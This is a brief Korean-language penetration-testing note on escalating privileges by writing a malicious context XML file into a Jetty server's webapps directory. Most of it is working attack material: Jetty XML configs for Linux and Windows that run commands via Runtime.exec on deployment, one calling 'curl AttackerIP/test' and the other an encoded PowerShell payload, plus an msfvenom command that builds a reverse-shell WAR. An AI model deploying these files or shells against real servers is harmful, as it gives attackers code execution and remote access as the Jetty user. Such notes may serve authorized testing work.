Webapps 디렉토리 파일 쓰기 권한
시나리오: JETTY의 Webapps 디렉토리에 쓰기 권한이 있을때 악성 xml파일을 써서 Jetty를 실행하는 유저의 권한으로 권한상승이 이뤄질 수 있음. XML파일을 쓰고 나서, 웹에 접속하여 트리거할 필요 없이 코드가 실행될 수 있다.
Linux
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>/bin/sh</Item>
<Item>-c</Item>
<Item>curl AttackerIP/test</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>Windows
<?xml version="1.0"?>
<!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd">
<Configure class="org.eclipse.jetty.server.handler.ContextHandler">
<Call class="java.lang.Runtime" name="getRuntime">
<Call name="exec">
<Arg>
<Array type="String">
<Item>cmd.exe</Item>
<Item>/c</Item>
<Item>powershell -enc BASE64_PAYLOAD</Item>
</Array>
</Arg>
</Call>
</Call>
</Configure>Java에서 아래와 같이 해석되고 실행됨.
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl AttackerIP/test"});msfvenom을 통한 리버스쉘 생성
msfvenom -p java/jsp_shell_reverse_tcp -f war LHOST=10.10.10.10 LPORT=80JSP support not configured & Status:500에러를 맞을 수 있음.- Jetty(JSP 미설정)에서는 컴파일된 서블릿 WAR를 직접 만들어야 함.